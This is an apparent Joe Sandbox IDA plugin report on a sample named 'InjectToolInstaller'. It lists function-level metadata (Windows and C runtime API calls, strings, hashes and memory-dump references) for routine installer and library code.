Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 73fe50386984128d760f133acced79e34b0373ddaa42bc2bf694653200fb2f7c
Instruction ID: cb6b8f6d93db9f2bcd7faf01fa17c9ce34d7138afda88cb804e89313a0bda356
Opcode Fuzzy Hash: 73fe50386984128d760f133acced79e34b0373ddaa42bc2bf694653200fb2f7c
Instruction Fuzzy Hash: 15F03033504310ABEA30EB6CF789C1A7BDAEB007197652805F158DB594CB30F8D08F64

Uniqueness

Uniqueness Score: -1.00%

Function 013E74E2 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 013E764E

Part of subcall function 013E51A5: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013E51A7
Part of subcall function 013E51A5: GetCurrentProcess.KERNEL32(C0000417,013D1B53,00000016,013E5A4E), ref: 013E51C9
Part of subcall function 013E51A5: TerminateProcess.KERNEL32(00000000), ref: 013E51D0

_free.LIBCMT ref: 013E7811

Strings

., xrefs: 013E7A70
*?, xrefs: 013E7525

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Process_free$CurrentFeaturePresentProcessorTerminate
String ID: *?$.
API String ID: 2728292959-3972193922
Opcode ID: 53982924b2659ed7eae4ddb73c2106323e743bd4f9f7dd8a6f2ca4939cbb333b
Instruction ID: b9fb7b258979e7aa93aca649c3ea34e6c53490fc839bbecceb00aeebbb9edb75
Opcode Fuzzy Hash: 53982924b2659ed7eae4ddb73c2106323e743bd4f9f7dd8a6f2ca4939cbb333b
Instruction Fuzzy Hash: DBC18D75E0022A9FDF15DFACC8849BEBBF5EF58318F24416AD955E7380E6319A01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013E6522 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

_abort.LIBCMT ref: 013E656B

Strings

GetEnabledXStateFeatures, xrefs: 013E6533, 013E653D
GetFileInformationByHandleEx, xrefs: 013E6582, 013E658C

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _abort
String ID: GetEnabledXStateFeatures$GetFileInformationByHandleEx
API String ID: 1888311480-684149918
Opcode ID: 83159968453d6565e2b30aebe235bbf3d1c6677fcf028d0848a745c968597812
Instruction ID: 770b3af7d063466c4620e25510569a938cfef6c27393bbe4a0aa8f7b1c89b8ae
Opcode Fuzzy Hash: 83159968453d6565e2b30aebe235bbf3d1c6677fcf028d0848a745c968597812
Instruction Fuzzy Hash: 9B112731740228A7C711AF6AAC0AE6E7FA9DB54714F12007EFE05572D0DEB15E108781

Uniqueness

Uniqueness Score: -1.00%

Function 013BD416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

Part of subcall function 013BD377: EnterCriticalSection.KERNEL32(?,?,?,013BD432), ref: 013BD37C
Part of subcall function 013BD377: LeaveCriticalSection.KERNEL32(?,?,013BD432), ref: 013BD386

EnterCriticalSection.KERNEL32(?), ref: 013BD436
LeaveCriticalSection.KERNEL32 ref: 013BD441
MessageBoxW.USER32 ref: 013BD458

Part of subcall function 013BD6D6: EnterCriticalSection.KERNEL32(?,?,?,013BD46E,?), ref: 013BD6DD
Part of subcall function 013BD6D6: LeaveCriticalSection.KERNEL32(?,?,013BD46E,?), ref: 013BD6EA

Strings

Are you sure you want to cancel?, xrefs: 013BD450

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Message
String ID: Are you sure you want to cancel?
API String ID: 850481049-577246718
Opcode ID: 84b3fba58274dc6134f0ba17e156d6335eb84ccf1258b0ed838266a68bb43f2d
Instruction ID: a86397fbac28a92c1ccb98774eeca1e568b2ba59069be4c2c374e3dd94805303
Opcode Fuzzy Hash: 84b3fba58274dc6134f0ba17e156d6335eb84ccf1258b0ed838266a68bb43f2d
Instruction Fuzzy Hash: BB012631204205BBCB125AECD884AECBFADBB5A31CF04400AFA05A2E41DAB6A524C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 013ACD28 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(shell32.dll,SHGetPathFromIDListW), ref: 013ACD45
GetProcAddress.KERNEL32(00000000), ref: 013ACD4C

Strings

SHGetPathFromIDListW, xrefs: 013ACD32
shell32.dll, xrefs: 013ACD37

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SHGetPathFromIDListW$shell32.dll
API String ID: 1646373207-4041819787
Opcode ID: f6b2777475f68082c4643cd6185ffa583582eefb52d4971413ec4569ab31fa78
Instruction ID: 3d07ddb443871ce97773faae5b44b63c4affeba364fb92013d3473e44f29b4eb
Opcode Fuzzy Hash: f6b2777475f68082c4643cd6185ffa583582eefb52d4971413ec4569ab31fa78
Instruction Fuzzy Hash: 2CF02872510216BBCB216F78C80552ABBACFF48325F04812EFD05C7320DB719810C7D4

Uniqueness

Uniqueness Score: -1.00%

Function 013F00EB Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 013F0176
__alldvrm.LIBCMT ref: 013F0377
__alldvrm.LIBCMT ref: 013F0399

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 07619bf0acb5bfc0e1065acfbce63930c7b21ec7fab864e605164cbe8d6f3c39
Instruction ID: 27789acfa24d7ef4d28ff8d9e75598180782fdc6007dc1ff5afff1caae73683f
Opcode Fuzzy Hash: 07619bf0acb5bfc0e1065acfbce63930c7b21ec7fab864e605164cbe8d6f3c39
Instruction Fuzzy Hash: 53A14975A0038A9FEB298F5CC8907AEBFE6EF55258F14416EF7959B283C2348941C750

Uniqueness

Uniqueness Score: -1.00%

Function 013EBBCA Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00001000,00000000,?,-0000000D,00000000,00000000,013E4EF0,?,00000000,00001000,00000001,-0000000D,?,00000001,013E4EF0,00000000), ref: 013EBC17
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 013EBCA0
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,013E350E,?), ref: 013EBCB2
__freea.LIBCMT ref: 013EBCBB

Part of subcall function 013D1C49: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,013A13B5,00000000,?,013A12EE,?), ref: 013D1C7B

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 551941011cbed062706ce8aa5f06fb61941352b55d5785627c297eac98beb9a4
Instruction ID: 2792ba80404a1b4d7ed1373fe0df8397c8cb5b3ddddb0a6a6286079bc6ffb112
Opcode Fuzzy Hash: 551941011cbed062706ce8aa5f06fb61941352b55d5785627c297eac98beb9a4
Instruction Fuzzy Hash: 1131E772A0021A9BDF258F69DC48DAEBBA9EF10714F044129FD04D7194DB35DD60C790

Uniqueness

Uniqueness Score: -1.00%

Function 013C6E2D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

___unDName.LIBVCRUNTIME ref: 013C6E5A
InterlockedPushEntrySList.KERNEL32(?,?), ref: 013C6ECE
_free.LIBCMT ref: 013C6EDB
_free.LIBCMT ref: 013C6EE3

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$EntryInterlockedListNamePush___un
String ID:
API String ID: 3626739961-0
Opcode ID: 97905c72b3cbc6adc27df5d676ab299fb26e9ef49310bd01d64eb8e1ec23e8a4
Instruction ID: 42881ee02be2de7e9256578468151c95ef1b58886429ab8fd15bc29965bb8716
Opcode Fuzzy Hash: 97905c72b3cbc6adc27df5d676ab299fb26e9ef49310bd01d64eb8e1ec23e8a4
Instruction Fuzzy Hash: 8F21FCB6D00305ABDF11DF7DDA45AAEBBF9DF45628F10419ED80897301E7329A01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013CEFFC Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaff33d35703ff4e08bbc32116979f8a3cc39c4c9c95c73a6596c2ab26555ff4
Instruction ID: 92df7312285d848b9e2ece6bb6d86b7250a92d52504c50a62e62ae69aec5d153
Opcode Fuzzy Hash: aaff33d35703ff4e08bbc32116979f8a3cc39c4c9c95c73a6596c2ab26555ff4
Instruction Fuzzy Hash: D8018FB220962B3FF621297C7CC4F6B671EDB51BBDB240329FA21561C8EA608C404360

Uniqueness

Uniqueness Score: -1.00%

Function 013AD215 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013AD21C
GetWindowTextLengthW.USER32 ref: 013AD23C
GetLastError.KERNEL32(00000000,?,00000068,?,?,0000000C,013BCF52,?,00000024,013BCF26), ref: 013AD248
GetWindowTextW.USER32 ref: 013AD26A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: TextWindow$ErrorH_prolog3LastLength
String ID:
API String ID: 47967424-0
Opcode ID: 335d831eb6bae7b7bc20ba5a3afb17aa0c3188043eec77c0e18f49e1db8f38cc
Instruction ID: e7f334fc3829aac741993b50d0dcc5260ccfc18b4a341ad69ce2e8672ce01a9f
Opcode Fuzzy Hash: 335d831eb6bae7b7bc20ba5a3afb17aa0c3188043eec77c0e18f49e1db8f38cc
Instruction Fuzzy Hash: 7C11B675A00107AFDB21AFA8C884BADB7A9EF19314F400119E616D7590DB31D859CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013AAC58 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 013AA5CD: FindClose.KERNELBASE(000000FF,000000FF,013AABD2,?,?,00000000), ref: 013AA5D7

SetLastError.KERNEL32(00000078,?,?,00000000), ref: 013AAC8E
SetLastError.KERNEL32(00000000,?,?,00000000), ref: 013AAC98
FindFirstStreamW.KERNEL32(000000FF,00000000,?,00000000), ref: 013AACAA
GetLastError.KERNEL32(?,00000000), ref: 013AACB7

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast$Find$CloseFirstStream
String ID:
API String ID: 4071060300-0
Opcode ID: b411665e85579d3592c68f9f0eb64942cbaef76af66db2f0b39cf62ae221bb2f
Instruction ID: 19d45fb2a746cfaeb91b70e3c03dcffedda798b023377f0c0cab9ea5b2c3a7b0
Opcode Fuzzy Hash: b411665e85579d3592c68f9f0eb64942cbaef76af66db2f0b39cf62ae221bb2f
Instruction Fuzzy Hash: 8011E9736403089FDF30AF78DD88BA9B7BCEB55729F50065AEA55D3280EB309944CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013CDC92 Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,013CD9C9,00000000,00000004,00000000), ref: 013CDCDE
GetLastError.KERNEL32 ref: 013CDCEA
__dosmaperr.LIBCMT ref: 013CDCF1
ResumeThread.KERNEL32(00000000), ref: 013CDD0F

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 95b88abc828dcf1fc7ede86c9146b640442c845255a4dbb1fd46c3ac9a0e0d30
Instruction ID: 2caa2616aa9ae674c7c6d5d9537758e2cf63c6df485c7830705c8bb85b16c11a
Opcode Fuzzy Hash: 95b88abc828dcf1fc7ede86c9146b640442c845255a4dbb1fd46c3ac9a0e0d30
Instruction Fuzzy Hash: 640196364042197BDB216BE9DC48AAA7F6DDF82B39F10422DF915961D4DB708C0187E0

Uniqueness

Uniqueness Score: -1.00%

Function 013A99E8 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013A99EF
CreateDirectoryW.KERNEL32(?,00000000,00000044,013A998A,?,?,?,?,?,00000018,013BE57B,?,?,?,?,?), ref: 013A9A2C

Part of subcall function 013A6F94: __EH_prolog3.LIBCMT ref: 013A6F9B
Part of subcall function 013A6F94: AreFileApisANSI.KERNEL32(?,00000010,013A94E9,?,?), ref: 013A6FB3

CreateDirectoryA.KERNEL32(00000000,00000000,?,?,00000044,013A998A,?,?,?,?,?,00000018,013BE57B,?,?,?), ref: 013A9A0F
GetLastError.KERNEL32 ref: 013A9A36

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CreateDirectoryH_prolog3$ApisErrorFileLast
String ID:
API String ID: 1590206640-0
Opcode ID: 68cf27d36d0470401676a7f5238d76ac222b12b95895fddbeb4264f3b33cda09
Instruction ID: 3bb288a350fc26509d9a47ade4a45ac113bf4ff9bb8633a1b749803945c62570
Opcode Fuzzy Hash: 68cf27d36d0470401676a7f5238d76ac222b12b95895fddbeb4264f3b33cda09
Instruction Fuzzy Hash: 5F01967690010AAFEF10BBA8DC95BEE3B7CEF2635CF841419EA02B7154DB358849C760

Uniqueness

Uniqueness Score: -1.00%

Function 013A9735 Relevance: 6.0, APIs: 4, Instructions: 50windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013A973C
FormatMessageA.KERNEL32(00001300,00000000,?,00000000,?,00000000,00000000,0000001C,013A96AB), ref: 013A975C
FormatMessageW.KERNEL32(00001300,00000000,?,00000000,?,00000000,00000000,0000001C,013A96AB), ref: 013A97A6
LocalFree.KERNEL32(?,?), ref: 013A97BE

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FormatMessage$FreeH_prolog3Local
String ID:
API String ID: 3947360390-0
Opcode ID: 44b027712ffdbd2738027b43ed91f85cec07c333104fbcc466671ebcce0bae23
Instruction ID: 285230592415fafc88d62dfa4e7557840bf040ef43075ccd3db12fa0feb83bd8
Opcode Fuzzy Hash: 44b027712ffdbd2738027b43ed91f85cec07c333104fbcc466671ebcce0bae23
Instruction Fuzzy Hash: 1C116D3290011AAADF21AFA5DC88EEF7F7CEF11768F405005E915A2091DB328604DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 013E58AA Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 013E58AF
_free.LIBCMT ref: 013E58E4
_free.LIBCMT ref: 013E590B
SetLastError.KERNEL32(00000000), ref: 013E591A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 34e3fd42170367699b888170269cd305a754131fcd9987f773220cdf3fc307ec
Instruction ID: f8341e8d7adcb61e3b52972bfada7d5d45eabaca81afa8dc837ab746468f6758
Opcode Fuzzy Hash: 34e3fd42170367699b888170269cd305a754131fcd9987f773220cdf3fc307ec
Instruction Fuzzy Hash: 2DF0467B20172227D222327D7D8CD6B2EEEDBD127CB220039FA05E31D6EE3088014621

Uniqueness

Uniqueness Score: -1.00%

Function 013C5C31 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 013C5C48

Part of subcall function 013C62D0: ___AdjustPointer.LIBCMT ref: 013C631A

_UnwindNestedFrames.LIBCMT ref: 013C5C5F
___FrameUnwindToState.LIBVCRUNTIME ref: 013C5C71
CallCatchBlock.LIBVCRUNTIME ref: 013C5C95

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 023ddc827d4764c10517c9d8eb105d1568e4c30a8d10928e55d67f5631b9ec3e
Instruction ID: 6d796644a00b886642f6373a9310dee0dbb88edd88ce062d69873142d695f11c
Opcode Fuzzy Hash: 023ddc827d4764c10517c9d8eb105d1568e4c30a8d10928e55d67f5631b9ec3e
Instruction Fuzzy Hash: 2101E932100109FBDF12AF99CD01EDA7FBAEF58B58F058119FA1865121C772E861EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013ACB46 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013ACB4D
CoInitialize.OLE32(00000000), ref: 013ACB55
SHBrowseForFolderA.SHELL32(?,?,?,?,?,?,?,0000002C,013AC95C,?,?,00000045,?,?), ref: 013ACB61
CoUninitialize.OLE32 ref: 013ACB96

Part of subcall function 013ACC7E: __EH_prolog3.LIBCMT ref: 013ACC85
Part of subcall function 013ACC7E: SHGetMalloc.SHELL32(?), ref: 013ACC9C
Part of subcall function 013ACC7E: __CxxThrowException@8.LIBVCRUNTIME ref: 013ACCB6

Part of subcall function 013ACCE2: SHGetPathFromIDListA.SHELL32(?,?,00000000,?,013ACB88,00000000,?,?,?,?,?,?,?,0000002C,013AC95C,?), ref: 013ACD00

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3$BrowseException@8FolderFromInitializeListMallocPathThrowUninitialize
String ID:
API String ID: 74120402-0
Opcode ID: 1d43a16e60e7d40cbe4d830846cfd13bfc2c266af6650a8997aa64a2a61f8287
Instruction ID: 2fd688f3186678b97429e8662574ed44f08112c3eab95aa1ff963591c4d24c26
Opcode Fuzzy Hash: 1d43a16e60e7d40cbe4d830846cfd13bfc2c266af6650a8997aa64a2a61f8287
Instruction Fuzzy Hash: EFF05E7A802219EFCF11FFB8C5886CD7F28EF26354F04A05DBD594B241DA358649DB91

Uniqueness

Uniqueness Score: -1.00%

Function 013E3D9A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 266COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 013E3F06

Strings

+, xrefs: 013E3E43
-, xrefs: 013E3E36

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 789283bb6515a5bbc4f597d99d0b5c8583d29c8d610290ad9667533e5b9f227a
Instruction ID: 9d033e28e7b6fcff04f2bb8c56f0087fcf4c40e1c1845e2f431ebdf7f8edaccc
Opcode Fuzzy Hash: 789283bb6515a5bbc4f597d99d0b5c8583d29c8d610290ad9667533e5b9f227a
Instruction Fuzzy Hash: 8F91E631904369AEDF20CE6D88486FDBFF5FF95228F148259E865E73C1D33199068B51

Uniqueness

Uniqueness Score: -1.00%

Function 013BC9A6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BC9AD

Strings

Unknown warning, xrefs: 013BCAEF
Unknown error, xrefs: 013BCAA3

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
